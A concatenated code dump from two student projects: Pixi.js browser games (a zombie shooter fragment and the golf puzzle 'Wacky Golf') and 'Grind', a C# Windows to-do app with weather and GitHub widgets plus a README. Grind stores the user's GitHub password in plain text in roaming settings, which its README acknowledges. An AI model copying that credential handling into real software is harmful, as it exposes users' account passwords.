player.lasernum = 4;
bonuses[i].visible = false;
bonuses.splice(i,1);
powerup = PIXI.audioManager.getAudio("assets/powerup.mp3");
powerup.play();
break;
default:
}
}
}
}
function checkWin(){
if(player.won){
return true;
}
return false;
}
function checkEndLevel(){
if (player.x - player.width > GAME_WIDTH + 100){
return true;
}
return false;
}
// Spans zombie at the end of the world and
// pushes them onto the zombie array.
function spanZombies(n,x){
var randnum = Math.floor((Math.random() * 800) + 400);
for (i=1; i<=n; i++){
var zombie = new PIXI.Sprite(PIXI.Texture.fromFrame("zoombie1.png"));
var frames = [];
for (var j=1; j<=3; j++) {
frames.push(PIXI.Texture.fromFrame('zoombie' + j + '.png'));
}
zombie = new PIXI.extras.MovieClip(frames);
zombie.position.x = randnum + (i*80);
zombie.position.y = 330;
zombie.scale.x = 2;
zombie.scale.y = 2;
zombie.health = 2;
zombie.lastmoved = 0;
zombie.anchor.x = 0.0;
zombie.anchor.y = 1.0;
zombie.animationSpeed = 0.1;
zombie.play();
zombies.push(zombie);
levelStage.addChild(zombie);
}
}
function restart(){
levelStage.removeChild(player);
stage.removeChild(world);
stage.removeChild(levelStage);
level1Setup();
}
<file_sep>/project2/game.js
/*******
CS 413 Project 2 Puzzles - Wacky Golf
Purpose: To create a compelling game that incoprates, sounds, spritesheets,
tweening,js classes,and sceen graphs using Pixi.js. Each stage has it own
setup and run function, the setup function places all the spirites and the
run functions do all the win/loose logic. The level classes is used to setup
and maintain a level. This classe includes properites, including a stage and
the golf ball, along with methods used for collsion detection.
Author: <NAME>
*******/
//Aliases for PIXI.js
var Container = PIXI.Container,
Sprite = PIXI.Sprite,
Text = PIXI.Text,
Texture = PIXI.Texture,
Point = PIXI.Point,
autoDetectRenderer = PIXI.autoDetectRenderer,
loader = PIXI.loader,
resources = PIXI.loader.resources;
//gets gameport div element
var gameport = document.getElementById("gameport");
//auto detect best render for the browsers
var renderer = autoDetectRenderer(400,400);
//appends renderer view to gameport
gameport.appendChild(renderer.view);
//game stages
var main_stage = new Container(0x000000, true); //main stage
var board = new Container(); //game board
var title_stage = new Container(); //title stage
var menu_stage = new Container(); //menu stage
var instruction_stage = new Container(); //instruction stage
var loose_stage = new Container();
var credit_stage = new Container();
var win = new Container(); //win text
PIXI.SCALE_MODES.DEFAULT = PIXI.SCALE_MODES.NEAREST;
//load assets
loader.add("assets/background.png");
loader.add("assets/golf_ball1.png");
loader.add("assets/sound/theme.mp3");
loader.load(titleSetup);
/********
Stage setup functions: A setup function for each stage is called
before animating and handling input. Since spirites and other
elements are needed by the run functions they are declared before.
********/
//title setup
var title,golf_ball,music;
function titleSetup(){
background = new Sprite(resources["assets/background.png"].texture);
main_stage.addChild(background);
music = PIXI.audioManager.getAudio("assets/sound/theme.mp3");
music.loop = true;
music.play();
title = new Text("Wacky Golf",{font:'50px Arial',fill: "black"});
title.y = 150;
title_stage.addChild(title);
golf_ball = new Sprite(resources["assets/golf_ball1.png"].texture);
golf_ball.y = 220;
golf_ball.x = 330;
golf_ball.anchor.x = 0.5;
golf_ball.anchor.y = 0.5;
title_stage.addChild(golf_ball);
main_stage.addChild(title_stage);
state = titleRun;
animate();
}
//menu setup
var play_button,credits_button,instruction_button,mute_button,unmute_button;
function menuSetup(){
createjs.Tween.get(title.position).to({x:0,y:0},700,createjs.Ease.bounceOut);
play_button = new Sprite();
credits_button = new Sprite();
instruction_button = new Sprite();
mute_button = new Sprite();
unmute_button = new Sprite();
play_text = new Text("Play",{font:'20px Arial',fill: "black"});
credits_text = new Text("Credits",{font:'20px Arial',fill: "black"});
instruction_text = new Text("Instructions",{font:'20px Arial',fill: "black"});
mute_text = new Text("Mute audio",{font:'20px Arial',fill: "black"});
unmute_text = new Text("Unmute audio",{font:'20px Arial',fill: "black"});
play_button.addChild(play_text);
credits_button.addChild(credits_text);
instruction_button.addChild(instruction_text);
mute_button.addChild(mute_text);
unmute_button.addChild(unmute_text);
unmute_button.visible = false;
play_button.interactive = true;
credits_button.interactive = true;
instruction_button.interactive = true;
mute_button.interactive = true;
unmute_button.interactive = true;
play_button.x = 10;
play_button.y = 200;
instruction_button.x = 10;
instruction_button.y = 240;
credits_button.x = 10;
credits_button.y = 280;
mute_button.x = 250;
mute_button.y = 350;
unmute_button.x = 250;
unmute_button.y = 350;
menu_stage.addChild(play_button);
menu_stage.addChild(credits_button);
menu_stage.addChild(instruction_button);
menu_stage.addChild(mute_button);
menu_stage.addChild(unmute_button);
main_stage.addChild(menu_stage);
document.addEventListener("click", menuClickHandler());
state = menuRun;
animate();
}
//load assets
loader.add("assets/hole1.png");
loader.add("assets/obstacle.png");
//level0Setup
var current_level,board,holes,state;
function level0Setup(){
var stage = new Container();
var obstacles = new Container();
current_level = new level(0,obstacles,null,stage,golf_ball);
//adds golf_ballt to level stage
stage.addChild(golf_ball);
current_level.placeGolfBall(20,120);
current_level.placeHole(380,380);
current_level.placeObsticale(240,220,0);
current_level.placeObsticale(60,290,0);
current_level.placeText("Introduction to Controlls: \n Use the WASD or arrow keys \n to move the golf ball into \n the hole",10,10);
//adds board to main_stage
main_stage.addChild(stage);
//set document event handler
document.addEventListener('keydown',keydownEventHandler);
//sets state
state = level0Run;
//call animate()
animate();
}
loader.add("assets/putter_asset.json");
var collector;
function level1Setup(){
var stage = new Container();
var obstacles = new Container();
collector = new Container();
current_level = new level(1,obstacles,collector,stage,golf_ball);
current_level.placeText("Level 1", 0, 0);
current_level.placeGolfBall(20,40);
current_level.placeHole(380,380);
current_level.placeCollector(200,200);
main_stage.addChild(stage);
//set document event handler
document.addEventListener('keydown',keydownEventHandler);
//sets state
state = level1Run;
//call animate()
animate();
}
function level2Setup(){
var stage = new Container();
var obstacles = new Container();
collector = new Container();
current_level = new level(2,obstacles,collector,stage,golf_ball);
current_level.placeText("Level 2", 0, 0);
current_level.placeGolfBall(380,20);
current_level.placeHole(20,380);
current_level.placeCollector(200,200);
current_level.placeObsticale(0,100,0);
main_stage.addChild(stage);
//set document event handler
document.addEventListener('keydown',keydownEventHandler);
//sets state
state = level2Run;
//call animate()
animate();
}
function level3Setup(){
var stage = new Container();
var obstacles = new Container();
collector = new Container();
current_level = new level(3,obstacles,collector,stage,golf_ball);
current_level.placeText("Level 3", 0, 0);
current_level.placeGolfBall(40,20);
current_level.placeHole(20,380);
current_level.placeCollector(200,200);
current_level.placeObsticale(20,100,0);
current_level.placeObsticale(240,100,0);
main_stage.addChild(stage);
//set document event handler
document.addEventListener('keydown',keydownEventHandler);
//sets state
state = level3Run;
//call animate()
animate();
}
//winSetup
function winSetup(){
win.visible = true;
document.addEventListener('keydown',keydownEventHandler);
//creates instances of win text and adjusts position
var text = new Text("Congrats you won.",{font : '24px Arial', fill : 0x000000});
//adds text to win stage
win.addChild(text);
//adds win stage to main_stage
main_stage.addChild(win);
}
//loose1Setup
function loose1Setup(){
loose_stage.visible = true;
//set document event handler
document.addEventListener('keydown',keydownEventHandler);
var text = new Text("You loose. \nPress enter to restart",{font : '24px Arial', fill : 0x000000});
loose_stage.addChild(text);
main_stage.addChild(loose_stage);
}
//instructionSetup
var back_button;
function instructionSetup(){
var text = new Text("Use the WASD or arrow keys \n to move the golf ball into the hole",{font:'25px Arial',fill: "black"});
instruction_stage.addChild(text);
back_button = new Sprite();
back_text = new Text("Back to Main Menu",{font:'20px Arial',fill: "black"});
back_button.interactive = true;
back_button.addChild(back_text);
back_button.y = 300;
instruction_stage.addChild(back_button);
document.addEventListener("click", backButtonHandler);
main_stage.addChild(instruction_stage);
state = instructionRun;
animate();
}
//creditSetup
function creditSetup(){
var text = new Text("Credited by <NAME>",{font:'25px Arial',fill: "black"});
text.y = 150;
credit_stage.addChild(text);
back_button = new Sprite();
back_text = new Text("Back to Main Menu",{font:'20px Arial',fill: "black"});
back_button.interactive = true;
back_button.addChild(back_text);
back_button.y = 300;
credit_stage.addChild(back_button);
main_stage.addChild(credit_stage);
document.addEventListener("click", backButtonHandler);
state = creditRun;
animate();
}
/********
Animate: request animation frame, calls state function, and
renders main_stage
********/
function animate(){
//Loops 60 times per second
requestAnimationFrame(animate);
//Update the current game state
state();
//Render the stage
renderer.render(main_stage);
}
/********
Run functions:
********/
function titleRun(){
window.setTimeout(menuSetup,1000);
}
function menuRun(){
golf_ball.rotation += 0.005;
}
function level0Run(){
golf_ball.rotation += 0.005;
if(current_level.checkWin()){
main_stage.removeChild(current_level.stage);
title_stage.visible = true;
menu_stage.visible = true;
}
}
function level1Run(){
golf_ball.rotation += 0.005;
current_level.moveCollector(0.09,0);
if(current_level.checkWin()){
current_level.visible = false;
main_stage.removeChild(current_level.stage);
level2Setup();
}
if(current_level.checkLoss()){
current_level.visible = false;
main_stage.removeChild(current_level.stage);
current_level.golf_ball.x = 20;
current_level.golf_ball.y = 20;
loose1Setup();
}
}
function level2Run(){
golf_ball.rotation += 0.005;
current_level.moveCollector(0.1,0);
if(current_level.checkWin()){
current_level.visible = false;
main_stage.removeChild(current_level.stage);
level3Setup();
}
if(current_level.checkLoss()){
current_level.visible = false;
main_stage.removeChild(current_level.stage);
current_level.golf_ball.x = 20;
current_level.golf_ball.y = 20;
loose1Setup();
}
}
function level3Run(){
golf_ball.rotation += 0.005;
current_level.moveCollector(0.15,0);
if(current_level.checkWin()){
current_level.visible = false;
main_stage.removeChild(current_level.stage);
winSetup();
}
if(current_level.checkLoss()){
current_level.visible = false;
main_stage.removeChild(current_level.stage);
current_level.golf_ball.x = 20;
current_level.golf_ball.y = 20;
loose1Setup();
}
}
function creditRun(){}
function instructionRun(){}
/*******
Classes:
********/
//level: a general class used by all the different
//instances of level.
function level(diffuclty,obstacles,collector,stage,golf_ball){
this.diffuclty = diffuclty;
this.stage = stage;
this.golf_ball = golf_ball;
this.obstacles = obstacles;
this.collector = collector;
this.hole;
this.text;
this.placeObsticale = function placessObsticale(x,y,rotation_amount){
var obstacle = new Sprite(resources["assets/obstacle.png"].texture);
obstacle.x = x;
obstacle.y = y;
obstacle.rotation += rotation_amount;
this.obstacles.addChild(obstacle);
this.stage.addChild(obstacles);
}
this.placeCollector = function placeCollector(x,y){
var frames = [];
for (var i=1; i<=3; i++) {
frames.push(PIXI.Texture.fromFrame('putter' + i + '.png'));
}
this.collector = new PIXI.extras.MovieClip(frames);
this.collector.scale.x = 0.8;
this.collector.scale.y = 0.8;
this.collector.x = x;
this.collector.y = y;
this.collector.animationSpeed = 0.1;
this.collector.play();
this.stage.addChild(this.collector);
}
this.placeHole= function placeHole(x,y){
this.hole = new Sprite(resources["assets/hole1.png"].texture);
this.hole.x = x;
this.hole.y = y;
this.hole.anchor.x = 0.5;
this.hole.anchor.y = 0.5;
this.stage.addChild(this.hole);
}
this.placeGolfBall = function placeGolfBall(x,y){
//creates instances of golf_ball sprite and adjusts position
this.golf_ball.x = x;
this.golf_ball.y = y;
//sets holes anchors
this.golf_ball.anchor.x = 0.5;
this.golf_ball.anchor.y = 0.5;
this.stage.addChild(this.golf_ball);
}
this.checkWin = function checkWin(){
var newLeft = this.golf_ball.x - this.golf_ball.width/2;
var newDown = this.golf_ball.y - this.golf_ball.width/2;
var newUp = this.golf_ball.y - this.golf_ball.height/2 - this.golf_ball.width/4;
var holeRight = this.hole.x - this.golf_ball.width/2 - this.golf_ball.width/4;
var holeUp = this.hole.y - this.hole.height;
var holeLeft = this.hole.x + this.hole.width - this.golf_ball.width/4;
var holeDown = this.hole.y + this.hole.height/2;
if(newLeft <= holeLeft && newUp <= holeDown
&& newLeft >= holeRight && newDown >= holeUp){
return true;
}
return false;
}
this.collsionCheck = function collsionCheck(new_position){
var typeCollsion = false;
//Checks for collsion with the obstacles
var obstacles_children = obstacles.children;
var newLeft = new_position.x - this.golf_ball.width/2;
var newDown = new_position.y - this.golf_ball.width/2;
var newUp = new_position.y - this.golf_ball.height/2 - this.golf_ball.width/4;
for(i=0;i<obstacles_children.length; i++){
var obstacleRight = obstacles_children[i].x - this.golf_ball.width/2 - this.golf_ball.width/4;
var obstacleUp = obstacles_children[i].y - obstacles_children[i].height;
var obstacleLeft = obstacles_children[i].x + obstacles_children[i].width - this.golf_ball.width/4;
var obstacleDown = obstacles_children[i].y + obstacles_children[i].height/2;
if(newLeft <= obstacleLeft && newUp <= obstacleDown
&& newLeft >= obstacleRight && newDown >= obstacleUp){
typeCollsion=true;
}
}
return typeCollsion;
}
this.checkLoss = function checkLoss(){
var collectorLeft = Math.round(this.collector.x) - this.collector.width/2;
var collectorRight = Math.round(this.collector.x) + this.collector.width/2;
var collectorUp = Math.round(this.collector.y);
var collectorDown = Math.round(this.collector.y) + this.collector.height;
var ballLeft = this.golf_ball.x - this.golf_ball.width/2;
var ballRight = this.golf_ball.x + this.golf_ball.width/2;
var ballUp = this.golf_ball.y - this.golf_ball.height/2;
var ballDown = this.golf_ball.y + this.golf_ball.height/2;
if(ballLeft<=collectorRight && ballRight >= collectorLeft
&& ballUp <= collectorDown && ballDown >= collectorUp){
return true;
}
return false;
}
this.moveCollector = function moveCollector(xspeed,yspeed){
this.collector.x = Math.abs((this.collector.x + xspeed)%400);
this.collector.y = Math.abs((this.collector.y + yspeed)%400);
}
this.placeText = function placeText(text,x,y){
this.text = new Text(text,{font:'20px Arial',fill: "black"});
this.text.x = x;
this.text.y = y;
this.stage.addChild(this.text);
}
}
/*******
Event handlers:
********/
function menuClickHandler(event){
var play_new_text = new Text("Play",{font:'20px Arial',fill: "white"});
var play_old_text = new Text("Play",{font:'20px Arial',fill: "black"});
var credits_new_text = new Text("Credits",{font:'20px Arial',fill: "white"});
var credits_old_text = new Text("Credits",{font:'20px Arial',fill: "black"});
var instruction_new_text = new Text("Instructions",{font:'20px Arial',fill: "white"});
var instruction_old_text = new Text("Instructions",{font:'20px Arial',fill: "black"});
var mute_text = new Text("Mute text",{font:'20px Arial',fill: "black"});
var unmute_text = new Text("Unmute text",{font:'20px Arial',fill: "black"});
//Play button handler
play_button.click = function(data){
// click!
title_stage.visible = false;
menu_stage.visible = false;
level1Setup();
}
// set the mouseover callback..
play_button.mouseover = function(data){
this.isOver = true;
play_button.removeChildAt(0);
play_button.addChild(play_new_text);
}
play_button.mouseout = function(data){
this.isOver = false;
play_button.removeChildAt(0);
play_button.addChild(play_old_text);
}
credits_button.click = function(data){
title_stage.visible = false;
menu_stage.visible = false;
credit_stage.visible = true;
creditSetup();
}
credits_button.mouseover = function(data){
this.isOver = true;
credits_button.removeChildAt(0);
credits_button.addChild(credits_new_text);
}
credits_button.mouseout = function(data){
this.isOver = false;
credits_button.removeChildAt(0);
credits_button.addChild(credits_old_text);
}
instruction_button.click = function(data){
title_stage.visible = false;
menu_stage.visible = false;
instruction_stage.visible = true;
level0Setup();
}
instruction_button.mouseover = function(data){
this.isOver = true;
instruction_button.removeChildAt(0);
instruction_button.addChild(instruction_new_text);
}
instruction_button.mouseout = function(data){
this.isOver = false;
instruction_button.removeChildAt(0);
instruction_button.addChild(instruction_old_text);
}
mute_button.click = function(data){
unmute_button.visible = true;
mute_button.visible = false;
music.manager.mute();
}
unmute_button.click = function(data){
//unmute_button.visible = false;
music.manager.unmute();
}
}
function backButtonHandler(event){
new_text = new Text("Back to Main Menu",{font:'20px Arial',fill: "white"});
old_text = new Text("Back to Main Menu",{font:'20px Arial',fill: "black"});
back_button.mouseover = function(data){
this.isOver = true;
back_button.removeChildAt(0);
back_button.addChild(new_text);
}
back_button.mouseout = function(data){
this.isOver = false;
back_button.removeChildAt(0);
back_button.addChild(old_text);
}
back_button.click = function(data){
credit_stage.visible = false;
instruction_stage.visible = false;
title_stage.visible = true;
menu_stage.visible = true;
}
}
function keydownEventHandler(event){
event.preventDefault(); //prevents default key behavior, scrolling
var new_position = new Point(golf_ball.x,golf_ball.y);
var old_position = new Point(golf_ball.x,golf_ball.y);
//up
if (event.keyCode === 87 || event.keyCode === 38) {
if(new_position.y != 10){
new_position.y = golf_ball.y - 10;
new_position.x = golf_ball.x;
}
}
//down
if (event.keyCode === 83 || event.keyCode === 40){
if(new_position.y != renderer.height-10) {
new_position.y = golf_ball.y + 10;
new_position.x = golf_ball.x;
}
}
//left
if (event.keyCode === 65 || event.keyCode === 37){
if(new_position.x != 10) {
new_position.x = golf_ball.x - 10;
new_position.y = golf_ball.y;
}
}
//right
if (event.keyCode === 68 || event.keyCode === 39){
if (new_position.x != renderer.width-10){
new_position.x = golf_ball.x + 10;
new_position.y = golf_ball.y;
}
}
if(event.keyCode === 13){
console.log("enter hit");
loose_stage.visible = false;
win.visible = false;
level1Setup();
}
//checks for collsions
if(!current_level.collsionCheck(new_position)){
golf_ball.x = new_position.x;
golf_ball.y = new_position.y;
}
renderer.render(main_stage);
}
|
971c6147974d3ac1d372789ccfaced570f231ad8
|
[
"Markdown",
"JavaScript"
] | 4 |
Markdown
|
chrisswhitneyy/cs418_virtualWorlds
|
0e20d65d5bf3d684489cd0a3c1ce62a60538d716
|
eea3dc63b9845780b0e576b80fcfc56d9f0e996c
|
refs/heads/master
|
<file_sep>using System;
using Grind.Common;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices.WindowsRuntime;
using Windows.Foundation;
using Windows.Foundation.Collections;
using Windows.UI;
using Windows.UI.Xaml.Media.Imaging;
using Windows.UI.Xaml;
using Windows.UI.Xaml.Controls;
using Windows.UI.Xaml.Controls.Primitives;
using Windows.UI.Xaml.Data;
using Windows.UI.Xaml.Input;
using Windows.UI.Xaml.Media;
using Windows.UI.Xaml.Navigation;
// The Blank Page item template is documented at http://go.microsoft.com/fwlink/?LinkId=234238
namespace Grind
{
/// <summary>
/// An empty page that can be used on its own or navigated to within a Frame.
/// </summary>
public sealed partial class MainPage : Page
{
private NavigationHelper navigationHelper;
ToDoListManager todoList = new ToDoListManager();
WeatherAPI weather = new WeatherAPI();
DispatcherTimer weatherTimer = new DispatcherTimer();
GitHubAPI githubAPI;
public MainPage()
{
this.InitializeComponent();
//initalize boxes
toDoBox.ItemsSource = todoList.toDoList;
doneBox.ItemsSource = todoList.doneList;
this.navigationHelper = new NavigationHelper(this);
this.navigationHelper.LoadState += navigationHelper_LoadState;
this.navigationHelper.SaveState += navigationHelper_SaveState;
}
/// <summary>
/// Populates the page with content passed during navigation. Any saved state is also
/// provided when recreating a page from a prior session.
/// </summary>
/// <param name="sender">
/// The source of the event; typically <see cref="NavigationHelper"/>
/// </param>
/// <param name="e">Event data that provides both the navigation parameter passed to
/// <see cref="Frame.Navigate(Type, Object)"/> when this page was initially requested and
/// a dictionary of state preserved by this page during an earlier
/// session. The state will be null the first time a page is visited.</param>
private void navigationHelper_LoadState(object sender, LoadStateEventArgs e)
{
Windows.Storage.ApplicationDataContainer roamingSettings =
Windows.Storage.ApplicationData.Current.RoamingSettings;
if (roamingSettings.Values.ContainsKey("todolist"))
{
todoList.ToDoFromXml(roamingSettings.Values["todolist"].ToString());
toDoBox.ItemsSource = todoList.toDoList;
}
if (roamingSettings.Values.ContainsKey("donelist"))
{
todoList.DoneFromXml(roamingSettings.Values["donelist"].ToString());
doneBox.ItemsSource = todoList.doneList;
}
if (roamingSettings.Values.ContainsKey("githubEnabled"))
{
SettingsPage.Github = Convert.ToBoolean(roamingSettings.Values["githubEnabled"].ToString());
}
if (roamingSettings.Values.ContainsKey("githubUsername"))
{
SettingsPage.githubUsername = roamingSettings.Values["githubUsername"].ToString();
}
if (roamingSettings.Values.ContainsKey("githubPassword"))
{
SettingsPage.githubPassword = roamingSettings.Values["githubPassword"].ToString();
}
if (roamingSettings.Values.ContainsKey("weatherEnabled"))
{
SettingsPage.Weather = Convert.ToBoolean(roamingSettings.Values["weatherEnabled"].ToString());
}
if (roamingSettings.Values.ContainsKey("weatherLocation"))
{
SettingsPage.weatherLocation = roamingSettings.Values["weatherLocation"].ToString();
}
if (SettingsPage.Weather)
setWeatherWidget();
else
{
weatherWidget.Visibility = Windows.UI.Xaml.Visibility.Collapsed;
}
if (SettingsPage.Github)
{
if (SettingsPage.githubUsername != "")
{
githubAPI = new GitHubAPI(SettingsPage.githubUsername, SettingsPage.githubPassword);
setGithubWidget();
}
else
{
githubUsernameText.Text = "Add username in Settings.";
}
}
else
{
githubWidget.Visibility = Windows.UI.Xaml.Visibility.Collapsed;
}
}
/// <summary>
/// Preserves state associated with this page in case the application is suspended or the
/// page is discarded from the navigation cache. Values must conform to the serialization
/// requirements of <see cref="SuspensionManager.SessionState"/>.
/// </summary>
/// <param name="sender">The source of the event; typically <see cref="NavigationHelper"/></param>
/// <param name="e">Event data that provides an empty dictionary to be populated with
/// serializable state.</param>
private void navigationHelper_SaveState(object sender, SaveStateEventArgs e)
{
// Save app data
Windows.Storage.ApplicationDataContainer roamingSettings =
Windows.Storage.ApplicationData.Current.RoamingSettings;
roamingSettings.Values["todolist"] = todoList.ToDoToXml();
roamingSettings.Values["donelist"] = todoList.DoneToXml();
}
protected override void OnNavigatedTo(NavigationEventArgs e)
{
navigationHelper.OnNavigatedTo(e);
}
protected override void OnNavigatedFrom(NavigationEventArgs e)
{
navigationHelper.OnNavigatedFrom(e);
}
private async void setGithubWidget()
{
githubWidget.Visibility = Windows.UI.Xaml.Visibility.Visible;
try
{
githubUsernameText.Text = githubAPI.username;
githubUserImage.ImageSource = await githubAPI.getUserImage();
githubFollowersText.Text = await githubAPI.getUserFollowers();
githubFollowingText.Text = await githubAPI.getUserFollowing();
githubReposText.Text = await githubAPI.getUserRepoCount();
githubRepoLabel.Visibility = Windows.UI.Xaml.Visibility.Visible;
githubFollowersLabel.Visibility = Windows.UI.Xaml.Visibility.Visible;
githubFollowingLabel.Visibility = Windows.UI.Xaml.Visibility.Visible;
}
catch (Octokit.RateLimitExceededException)
{
githubUsernameText.Text = "Unable to load.";
githubRepoLabel.Visibility = Windows.UI.Xaml.Visibility.Collapsed;
githubFollowersLabel.Visibility = Windows.UI.Xaml.Visibility.Collapsed;
githubFollowingLabel.Visibility = Windows.UI.Xaml.Visibility.Collapsed;
}
}
private async void setWeatherWidget()
{
//set weather
string temp = await weather.getCurrentTemp();
string summary = await weather.getCurrentSummary();
weatherWidget.Text = temp + "° - " + summary;
//set it to update every so many minutes
weatherTimer = new DispatcherTimer();
weatherTimer.Tick += weatherTimer_Tick;
weatherTimer.Interval = new TimeSpan(0, 5, 0);
weatherTimer.Start();
}
async void weatherTimer_Tick(object sender, object e)
{
//set weather
string temp = await weather.getCurrentTemp();
string summary = await weather.getCurrentSummary();
weatherWidget.Text = temp + "° - " + summary;
}
private void settingsButton_Click(object sender, RoutedEventArgs e)
{
this.Frame.Navigate(typeof (SettingsPage));
}
private void aboutButton_Click(object sender, RoutedEventArgs e)
{
this.Frame.Navigate(typeof(AboutPage));
}
private void layoutButton_Click(object sender, RoutedEventArgs e)
{
//to do
}
private void donebox_OnDragOver(object sender, DragEventArgs e)
{
var dropTarget = sender as ListView;
if (dropTarget == null)
{
return;
}
if (checkImage.Opacity == 0)
{
fadeIn.Begin();
}
}
private void todobox_OnDragOver(object sender, DragEventArgs e)
{
var dropTarget = sender as ListView;
if (dropTarget == null)
{
return;
}
if (undoImage.Opacity == 0)
undoFadeIn.Begin();
}
private void doneBox_Drop(object sender, DragEventArgs e)
{
object doneItems;
e.Data.Properties.TryGetValue("items", out doneItems);
var doneList = doneItems as List<String>;
foreach (var item in doneList){
todoList.doneList.Add(item);
todoList.toDoList.Remove(item);
}
fadeOut.Begin();
}
private void box_DragItemsStarting(object sender, DragItemsStartingEventArgs e)
{
List<String> items = new List<String>();
foreach (var str in e.Items)
{
items.Add(str.ToString());
}
e.Data.Properties.Add("items", items);
}
private void toDoBox_Drop(object sender, DragEventArgs e)
{
object doneItems;
e.Data.Properties.TryGetValue("items", out doneItems);
var doneList = doneItems as List<String>;
foreach (var item in doneList)
{
todoList.toDoList.Add(item);
todoList.doneList.Remove(item);
}
undoFadeOut.Begin();
}
private void box_DragLeave(object sender, DragEventArgs e)
{
var dropTarget = sender as ListView;
if (dropTarget == null)
{
return;
}
undoFadeOut.Begin();
}
private void doneBox_DragLeave(object sender, DragEventArgs e)
{
var dropTarget = sender as ListView;
if (dropTarget == null)
{
return;
}
fadeOut.Begin();
}
private void toDoBox_DoubleTapped(object sender, DoubleTappedRoutedEventArgs e)
{
try
{
var item = ((ListView)sender).SelectedItem.ToString();
if (item != null)
{
todoList.doneList.Add(item);
todoList.toDoList.Remove(item);
}
}
catch(NullReferenceException)
{
//do nothing
}
}
private void addButton_Click(object sender, RoutedEventArgs e)
{
todoList.toDoList.Add(addToDoTextBox.Text);
addToDoTextBox.Text = "";
}
private void addToDoTextBox_KeyUp(object sender, KeyRoutedEventArgs e)
{
if (e.Key == Windows.System.VirtualKey.Enter)
{
todoList.toDoList.Add(addToDoTextBox.Text);
addToDoTextBox.Text = "";
}
}
private void trashButton_Click(object sender, RoutedEventArgs e)
{
var items = doneBox.SelectedItems;
int count = items.Count;
for(int i = 0; i < count; i++)
{
todoList.doneList.Remove(items[0].ToString());
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Collections.ObjectModel;
using System.Text;
using System.Threading.Tasks;
using System.Xml.Serialization;
using System.Xml;
using System.IO;
namespace Grind
{
class ToDoListManager
{
public ObservableCollection<string> toDoList = new ObservableCollection<string>();
public ObservableCollection<string> doneList = new ObservableCollection<string>();
public ToDoListManager()
{
}
public void SaveLists() {
//save the lists
}
//https://code.msdn.microsoft.com/windowsapps/CSWinStoreAppSaveCollection-bed5d6e6
public string ToDoToXml()
{
XmlSerializer serializer = new XmlSerializer(typeof(List<string>));
StringBuilder stringBuilder = new StringBuilder();
XmlWriterSettings settings = new XmlWriterSettings()
{
Indent = true,
OmitXmlDeclaration = true,
};
using (XmlWriter xmlWriter = XmlWriter.Create(stringBuilder, settings))
{
serializer.Serialize(xmlWriter, toDoList.ToList());
}
return stringBuilder.ToString();
}
public void ToDoFromXml(string xml)
{
XmlSerializer serializer = new XmlSerializer(typeof(List<string>));
List<string> value;
using (StringReader stringReader = new StringReader(xml))
{
object deserialized = serializer.Deserialize(stringReader);
value = (List<string>)deserialized;
}
toDoList = new ObservableCollection<string>(value);
}
public string DoneToXml()
{
XmlSerializer serializer = new XmlSerializer(typeof(List<string>));
StringBuilder stringBuilder = new StringBuilder();
XmlWriterSettings settings = new XmlWriterSettings()
{
Indent = true,
OmitXmlDeclaration = true,
};
using (XmlWriter xmlWriter = XmlWriter.Create(stringBuilder, settings))
{
serializer.Serialize(xmlWriter, doneList.ToList());
}
return stringBuilder.ToString();
}
public void DoneFromXml(string xml)
{
XmlSerializer serializer = new XmlSerializer(typeof(List<string>));
List<string> value;
using (StringReader stringReader = new StringReader(xml))
{
object deserialized = serializer.Deserialize(stringReader);
value = (List<string>)deserialized;
}
doneList = new ObservableCollection<string>(value);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Windows.UI.Xaml.Controls;
using Windows.Storage.Streams;
using System.Net.Http;
using Windows.UI.Xaml.Media.Imaging;
using Octokit;
namespace Grind
{
class GitHubAPI
{
public string username = "";
private GitHubClient github;
private Octokit.User githubUser;
public GitHubAPI(string usr, string pass)
{
username = usr;
github = new GitHubClient(new ProductHeaderValue("Grind"));
var basicAuth = new Credentials(usr, pass);
github.Credentials = basicAuth;
initGitHub();
}
private async void initGitHub()
{
try
{
githubUser = await github.User.Get(username);
}
catch
{
}
}
public async Task<int> getUsersPublicRepos()
{
if (githubUser != null)
{
return githubUser.PublicRepos;
}
else
{
githubUser = await github.User.Get(username);
return githubUser.PublicRepos;
}
}
public async Task<BitmapImage> getUserImage()
{
if (githubUser != null)
{
var httpClient = new HttpClient();
var contentBytes = await httpClient.GetByteArrayAsync(githubUser.AvatarUrl);
var ims = new InMemoryRandomAccessStream();
var dataWriter = new DataWriter(ims);
dataWriter.WriteBytes(contentBytes);
await dataWriter.StoreAsync();
ims.Seek(0);
var bitmap = new BitmapImage();
bitmap.SetSource(ims);
return bitmap;
}
else
{
githubUser = await github.User.Get(username);
var httpClient = new HttpClient();
var contentBytes = await httpClient.GetByteArrayAsync(githubUser.AvatarUrl);
var ims = new InMemoryRandomAccessStream();
var dataWriter = new DataWriter(ims);
dataWriter.WriteBytes(contentBytes);
await dataWriter.StoreAsync();
ims.Seek(0);
var bitmap = new BitmapImage();
bitmap.SetSource(ims);
return bitmap;
}
}
public async Task<string> getUserFollowing() {
if (githubUser != null)
{
return githubUser.Following.ToString();
}
else
{
githubUser = await github.User.Get(username);
return githubUser.Following.ToString();
}
}
public async Task<string> getUserFollowers()
{
if (githubUser != null)
{
return githubUser.Followers.ToString();
}
else
{
githubUser = await github.User.Get(username);
return githubUser.Followers.ToString();
}
}
public async Task<string> getUserRepoCount()
{
if (githubUser != null)
{
return (githubUser.PublicRepos + githubUser.TotalPrivateRepos).ToString();
}
else
{
githubUser = await github.User.Get(username);
return (githubUser.PublicRepos + githubUser.TotalPrivateRepos).ToString();
}
}
}
}
<file_sep># Grind
A windows to-do list app with some flair
URL: https://github.com/zachatrocity/Grind
Brief Summary: Grind is a minimalistic to-do list management application that allows users to manage their daily activities,
as well as keep up to date with the current weather and their github profile. Our target audience is your average computer
science student that may find it hard to keep track of tasks.
Bugs: The Github password is stored in plain text, so it's not extremely secure
If you multi-select options in the To-Do list and then double click a task, one
selected item from the list of selected items gets moved to done each time
Contributions: Brock: Settings and About Pages
Zach: Weather API
Everything else pair programmed
Percentages: 50/50<file_sep>using Grind.Common;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices.WindowsRuntime;
using Windows.Foundation;
using Windows.Foundation.Collections;
using Windows.UI.Xaml;
using Windows.UI.Xaml.Controls;
using Windows.UI.Xaml.Controls.Primitives;
using Windows.UI.Xaml.Data;
